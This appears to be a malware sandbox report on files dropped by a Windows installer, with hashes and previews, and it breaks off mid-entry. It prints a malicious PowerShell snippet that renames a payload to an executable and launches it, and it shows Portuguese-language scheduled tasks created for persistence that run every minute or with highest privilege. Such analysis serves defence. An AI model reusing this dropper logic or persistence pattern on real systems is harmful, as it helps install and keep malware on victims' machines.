Preview:	@...e...........)....................................@..........8...................\|..K........).......CustomMarshalersH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D.......

C:\Users\user\AppData\Local\Temp\CSC9B11AECFE9254054A1433CAC9323B2.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.09036504138804
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryUc8ak7YnqqFcRPN5Dlq5J:+RI+ycuZhNv8akSmRPNnqX
MD5:	4C72FAED220CF13D87FEC0D3D0E81D99
SHA1:	337F1CB00C59C8403C5CBB2034C1BA98F4845C7E
SHA-256:	43BAF8ADF78CD274B57AF2F3775DBBABA00E385FB3B3AE8A964D7795A51B721A
SHA-512:	9891F9DBDD202C4169CD61724CBBC14F6CF4F13720AB96D5FBF97F1BEBCC02C9EF264D371624D6CF8434F0144DFBF0D5EB3AA4C8A323A0C7D98FEF227D2C4228
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.w.f.o.b.4.y.n...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...s.w.f.o.b.4.y.n...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\Executar01aa.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	682
Entropy (8bit):	5.0050628635227445
Encrypted:	false
SSDEEP:	12:gRJuTjlFw5gKC4bM4ruT4mq1/Mkzgi1Mn94N+W:gRkhS59CggTqmk8Z9NW
MD5:	8A9E5AE4413D158DCC4C92CC25E9C1B5
SHA1:	1EEC255FB93EA0E0AD457C23340AC25D157F4D29
SHA-256:	3C9819448571BD4B0609BC13674EC5A33B79F8C5513AD2BF4E029895C571D160
SHA-512:	2B22ACE06F7A34C2877B59611212C62F81348841E5E982F25AF15E03BE2FD71B4DC4786EB9573B3C0EA33A539DC819ACE231037327E75E9101FC29393F9DF384
Malicious:	true
Preview:	.$folderPath = "C:\LocalNow\Extracted"....if (Test-Path $folderPath) {.. $filePath = Get-ChildItem -Path $folderPath -File \| Where-Object { $_.Name -eq "01aa" }.... if ($filePath) {.. $newFilePath = Join-Path -Path $folderPath -ChildPath "01aa.exe".. Rename-Item -Path $filePath.FullName -NewName $newFilePath -Force.. # Utilizar a vari.vel $env:UserProfile para garantir que o processo seja iniciado com o usu.rio atual.. Start-Process -FilePath $newFilePath -WorkingDirectory $folderPath -Credential (New-Object System.Management.Automation.PSCredential($env:USERNAME, (ConvertTo-SecureString "" -AsPlainText -Force))) -Wait.. }..}..exit..

C:\Users\user\AppData\Local\Temp\MSI60493.LOG

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	180364
Entropy (8bit):	3.748830723055901
Encrypted:	false
SSDEEP:	1536:LlZnAQp1gqbQM5Ec7PnwWTUjpT9WbfarsQb8RX8kXP8+GdMjm7lMMsWH9+RHyq8d:/HJpwcY+2EYjbCOHXCekCcBP2ifG
MD5:	47E3B9D05BACDCE775EC1D91F1E212ED
SHA1:	85699DAB7DC45C2DFDC40FD5B40882013A04FD8B
SHA-256:	F6F92A009270B6762AE24F3EFFCA27D6FDBFCA95D194E53175B82E8847438758
SHA-512:	15153CF40AAC0F4731A755217D87B4FD3EF8D09C2D44899AAB10861A03EA2E5D63D2DD2C2125D975D6EE58CD750D9570A0A2E375A0E66FFF65E30F0A46E4B6A1
Malicious:	false
Preview:	..=.=.=. .V.e.r.b.o.s.e. .l.o.g.g.i.n.g. .s.t.a.r.t.e.d.:. .2.6./.1.1./.2.0.2.4. . .0.2.:.5.4.:.0.1. . .B.u.i.l.d. .t.y.p.e.:. .S.H.I.P. .U.N.I.C.O.D.E. .5...0.0...1.0.0.1.1...0.0. . .C.a.l.l.i.n.g. .p.r.o.c.e.s.s.:. .C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.m.s.i.e.x.e.c...e.x.e. .=.=.=.....M.S.I. .(.c.). .(.D.8.:.6.4.). .[.0.2.:.5.4.:.0.1.:.9.9.4.].:. .F.o.n.t. .c.r.e.a.t.e.d... . .C.h.a.r.s.e.t.:. .R.e.q.=.0.,. .R.e.t.=.0.,. .F.o.n.t.:. .R.e.q.=.M.S. .S.h.e.l.l. .D.l.g.,. .R.e.t.=.M.S. .S.h.e.l.l. .D.l.g.......M.S.I. .(.c.). .(.D.8.:.6.4.). .[.0.2.:.5.4.:.0.1.:.9.9.4.].:. .F.o.n.t. .c.r.e.a.t.e.d... . .C.h.a.r.s.e.t.:. .R.e.q.=.0.,. .R.e.t.=.0.,. .F.o.n.t.:. .R.e.q.=.M.S. .S.h.e.l.l. .D.l.g.,. .R.e.t.=.M.S. .S.h.e.l.l. .D.l.g.......M.S.I. .(.c.). .(.D.8.:.0.4.). .[.0.2.:.5.4.:.0.2.:.0.2.6.].:. .R.e.s.e.t.t.i.n.g. .c.a.c.h.e.d. .p.o.l.i.c.y. .v.a.l.u.e.s.....M.S.I. .(.c.). .(.D.8.:.0.4.). .[.0.2.:.5.4.:.0.2.:.0.2.6.].:. .M.a.c.h.i.n.e. .p.o.l.i.c.y. .v.a.l.u.e. .'.D.e.b.u.g.'. .i.s. .

C:\Users\user\AppData\Local\Temp\Pro1567.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	375
Entropy (8bit):	2.6026900812926024
Encrypted:	false
SSDEEP:	6:JUX0qIGICLq6jXzFjWr8YzX6QY1Kh/5L+:OkqIGICLNjXzFjeJzs1KT+
MD5:	25A6C1E7537FF91E12A03FBD46B091F6
SHA1:	9988C678F3DA1A47DF2442A783DF973329CC84B3
SHA-256:	DD106BAB09F32FE0706977952D43C403E633DE5875D442B0BB1C52A7F44287C8
SHA-512:	FAF6E0CAC729D3117B8888AFC67985B6DE5C75BECD5E6BA6DD5E36CAA0D44A4BEEE8F411FBD756F82E443AC105558C10027F6DBC8FE1233D76B9A793F98A29A8
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ Pasta Ready ..Tarefa 'Pasta' criada com sucesso e configurada para execu..o com a mais alta permiss.o.......

C:\Users\user\AppData\Local\Temp\Pro2A2F.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	760
Entropy (8bit):	4.362606970174761
Encrypted:	false
SSDEEP:	12:m53QN80NiLl/bPeIG/eQYfCT8qn6gHeIyWeQ9f69zVbb6crs0r3wa:m53r5/7bG/QDc6iTExNrt3wa
MD5:	C381653A183FC025DD7075CAAEEB393C
SHA1:	7342632B4CF8ACED99DD4BDCB073E8E1EE1652A7
SHA-256:	0F2455233C979FFA040D5CDEF297C75E878842064D5DB21BF0D9B4213483489F
SHA-512:	B45058E5BECDCDB05FFCBE9C9073F59666D900F56949A06850454C6B00D4A6A6C4E3CBF0F68DD21552EF2941DD36E0793FF6C1518EE6819CC66A612293584BAA
Malicious:	false
Preview:	....StatusCode : 200..StatusDescription : OK..Content : ..RawContent : HTTP/1.1 200 OK.. Keep-Alive: timeout=5, max=100.. Connection: Keep-Alive.. Content-Length: 0.. Content-Type: text/html; charset=UTF-8.. Date: Tue, 26 Nov 2024 07:56:25 GMT.. Server: Apache/2.4.41 (Ubuntu).....Forms : {}..Headers : {[Keep-Alive, timeout=5, max=100], [Connection, Keep-Alive], [Content-Length, 0], [Content-Type, .. text/html; charset=UTF-8]...}..Images : {}..InputFields : {}..Links : {}..ParsedHtml : mshtml.HTMLDocumentClass..RawContentLength : 0........

C:\Users\user\AppData\Local\Temp\Pro4958.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	336
Entropy (8bit):	2.435770915444001
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFF60/Sr/XzFUuEr9KAzZjv:JUX0qIGICL40/SjXzFWzZT
MD5:	221BB6A1C99E6A50B3A170AF937DBA8A
SHA1:	661438145B82C3D4762BF5579702B1B5697FF95A
SHA-256:	E74AECDE84D2B58DEB49585F6CC1156AE86ABD148DE1511F65B2F6529EB59C7F
SHA-512:	C3ED4993131C4AC3ED3036D41F9CFC8C48759EEE14922D4D69D7084BE613FE22598D01FDAB7F93D3E8058390B1CA878A06E470056F2AC5C55444C816C41BB3E6
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ CheckDStatus Ready ..Tarefa agendada 'CheckDStatus' criada com sucesso......

C:\Users\user\AppData\Local\Temp\Pro63E9.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	567
Entropy (8bit):	3.243485464040537
Encrypted:	false
SSDEEP:	12:OkqIGICLagjXzFczZm4/nOFxijXzFlzZm4/CQJa:6nldzFczZ3/OF6zFlzZ3/CQ0
MD5:	A6266FB9EA27BD6A027E7D1CDC3AFDE9
SHA1:	82BFCCF381C1DD0F5726F4A4EE7160F601D10F41
SHA-256:	E3E506E361537BE94C745298DA034ADB9ECA84A9CAA71B72D60ACFA8FFEC7B63
SHA-512:	20BEC340A50D9ACCD5EF4AE904B25CEE638235140AAAF7336587BE0B2DAA98999F621CBA37996D50B481C0AB5BE7CDEA577364775D1BF286FCD6A7DDC9EF1EE1
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ DownloadDownSistem Ready ..Tarefa 'DownloadDownSistem' criada com sucesso. O arquivo ser. baixado ap.s 20 minutos..\ ExecuteDownSistem Ready ..Tarefa 'ExecuteDownSistem' criada com sucesso. O arquivo ser. executado repetidamente a cada minuto......

C:\Users\user\AppData\Local\Temp\Pro6679.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	416
Entropy (8bit):	2.98857727427288
Encrypted:	false
SSDEEP:	6:JUX0qIGICLvAyjXzFMYzXu310JtDG5mcKz6UsGZuQxa:OkqIGICLvTjXzFZz+310JJ2mcRUsGu
MD5:	5BD76C75A9FF6B4246B014580EA74354
SHA1:	6CAF1287C72ED00990080651B866966D8721E702
SHA-256:	25AC5611630991DB2CF57A2BCEF87D6099C82D1CDC97CFC1E8DD9EC3B87D79B8
SHA-512:	3FF7AB779B2785F6BD5ABFD39EB054343184BAFF71F29FA7422A2E90F46EA34A9D934F22A56232D95DFB03751ABEC917C9E522E61A673144035EDB4CC30394C8
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ exe01aa Ready ..Tarefa agendada 'exe01aa' criada com sucesso para executar 'C:\LocalNow\Extracted\01aa.exe' como o usu.rio logado a cada 1 minuto......

C:\Users\user\AppData\Local\Temp\Pro830.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	4.1697619778949395
Encrypted:	false
SSDEEP:	24:6nld7s73gfpQDCQ4qAMHNE/KuAmjFyz268A:6nld7s73gfpQDplNEijSg2Y
MD5:	879270B51957DA0A77FEB012CBB022BC
SHA1:	30CC7049E842E649B9C3AAF9DCD5E6BFC6483BB8
SHA-256:	85CDE3BB9A5FB99811A7FC1F0B213FA569CD979336AE9826C05471CD975478B8
SHA-512:	90A0B4DEFBC68C7E4AD4922933CD962DE27B6EACA18F960754E039944DA3FE1D6D410EE7E18BF27C9123CFE6B6A37F08FDFFA923C857ABE0EF312AAA49D07499
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ ATD Ready ....PSPath : Microsoft.PowerShell.Core\FileSystem::C:\temp..PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\..PSChildName : temp..PSDrive : C..PSProvider : Microsoft.PowerShell.Core\FileSystem..PSIsContainer : True..Name : temp..FullName : C:\temp..Parent : ..Exists : True..Root : C:\..Extension : ..CreationTime : 11/26/2024 2:54:06 AM..CreationTimeUtc : 11/26/2024 7:54:06 AM..LastAccessTime : 11/26/2024 2:54:06 AM..LastAccessTimeUtc : 11/26/2024 7:54:06 AM..LastWriteTime : 11/26/2024 2:54:06 AM..LastWriteTimeUtc : 11/26/2024 7:54:06 AM..Attributes : Directory..Mode

C:\Users\user\AppData\Local\Temp\Pro8919.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.175696440497044
Encrypted:	false
SSDEEP:	3:+zWiFKFe3gbUYovn:qWLewevn
MD5:	E99CA8BA3F548A7281AA8C4997A6D686
SHA1:	4012DED88114FF545BBBD50C7DC65341980A54B8
SHA-256:	BD2F0A6C628F99D7BD0D80282949F34B03D303E5EC2C986255CC734BEC9751D3
SHA-512:	0AA3DD370B572D7C56602B325F7F411018BDF6DDEA6CC66DB3212679A75768ACA48CCB4886F2311E3F9266B9EE8A6F64D243A09DBDBDF6F5305EA92B5F276AD5
Malicious:	false
Preview:	Nenhuma pasta com o final '.' encontrada...

C:\Users\user\AppData\Local\Temp\ProA4D2.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	374
Entropy (8bit):	2.5866197192696334
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFFiWEVyr/XzF3WKAzXWTQYEmEFLK6SCHpGjKL+:JUX0qIGICLwpyjXzFKzX6QY1Kh/5L+
MD5:	A432B219D722B31D3B2D2D598F3B34C2
SHA1:	19BE17FA077C0919E8714759D794B29153610640
SHA-256:	12903AE16C80F5467D76089F5CE45CE27138EE756955105EB73ECFD093E92463
SHA-512:	75CE62AF21A4109536E2EBF1CC5B63A012089A9EC1B5CFCFFD40A0671B3838E1A9915969496E007285E176781940DF4BA3B53BB71C0D7D1BCEACB8654D4A2437
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ Rosa Ready ..Tarefa 'Rosa' criada com sucesso e configurada para execu..o com a mais alta permiss.o.......

C:\Users\user\AppData\Local\Temp\ProBA2B.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	285
Entropy (8bit):	1.5350353433489983
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFFwN/or/ry:JUX0qIGICLeqj+
MD5:	0C2A43976D4DE81A31F13AF09FCF9110
SHA1:	BDB3F8C1EA3F75CF0512FCDCDC8099754B24AEF6
SHA-256:	5270D6BFC5DFDF11E6CF84E2E8BD32AE02703AE6348A849866B953A3D3F6780B
SHA-512:	A6C6E2A0AE317C65CE359FEC5BAE95929440F93B6253B36E54C7BA5D1CADE9E53FA3D1EBE9542228E82D6461641E1F7FE297DAF4C3FF63F9E795D6E4FEB7EFCF
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ DWD Ready ......

C:\Users\user\AppData\Local\Temp\ProD55C.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	365
Entropy (8bit):	2.58699970011582
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFFo3A+EsFYr/SXhEr5sc7KAzXMRn6WFSLQTvr:JUX0qIGICL631FYjS8zXRWuQTvr
MD5:	8F4D664AB135EAEE3B046F40EDB55530
SHA1:	4EE8C53D25A1D1B772931F053780545F5F7FED2D
SHA-256:	CB318680D3552B173161837912BAABA1F4BD46F9A4EC23BD7F40FBF95352B434
SHA-512:	73EAED99537BD98FE7F99AE1E6E654D1F524DA3173D46087E4AADC9EE5A3A8BCF43E625F239B28C2BE76EF6852CC7EBAAB79052A9AC97385C82AA75A395C128F
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ Renome01aa Ready ..A tarefa 'Renome01aa' foi criada com sucesso e ser. executada a cada 1 minuto.......

C:\Users\user\AppData\Local\Temp\RESA037.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x482, 9 symbols, created Tue Nov 26 09:43:20 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	3.956360288328446
Encrypted:	false
SSDEEP:	24:HEnW9PfE8wuXDfHqwKdNWI+ycuZhNv8akSmRPNnqShgd:yu3hhKd41ulv8a3mjqSy
MD5:	BC4E846ED9BF9232213CE1D98A3CA05A
SHA1:	700395A20972C97065E70A133CE5B6376427CE86
SHA-256:	E822FF654A71533794456D62A37E37840292A2940C53D2E6EC2EF56A6DE2108A
SHA-512:	569679136C7266337D07DE5A732EB3872B4C63938505DBD13D572EBD7936B0A016A9A83C6A25D0AB9ED7C5C8AB887FFF68080C363297DF7A427E65DF57A86DE4
Malicious:	false
Preview:	L...8.Eg.............debug$S........D...................@..B.rsrc$01........X.......(...........@..@.rsrc$02........P...2...............@..@........I....c:\Users\user\AppData\Local\Temp\CSC9B11AECFE9254054A1433CAC9323B2.TMP..................Lr.."..=..................4.......C:\Users\user\AppData\Local\Temp\RESA037.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.w.f.o.b.4.y.n...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_411s3otm.4af.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5d51a3x5.re5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ag24gnyt.pae.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_alctokqt.b3j.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_alzhd41q.m0j.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ankjgjx0.fva.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avuogxh4.ohr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0jvl5s0.0xj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cguyfyqg.4vl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dfjehi2e.uxx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_efbrncy1.fjv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_foyt0fai.b1h.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
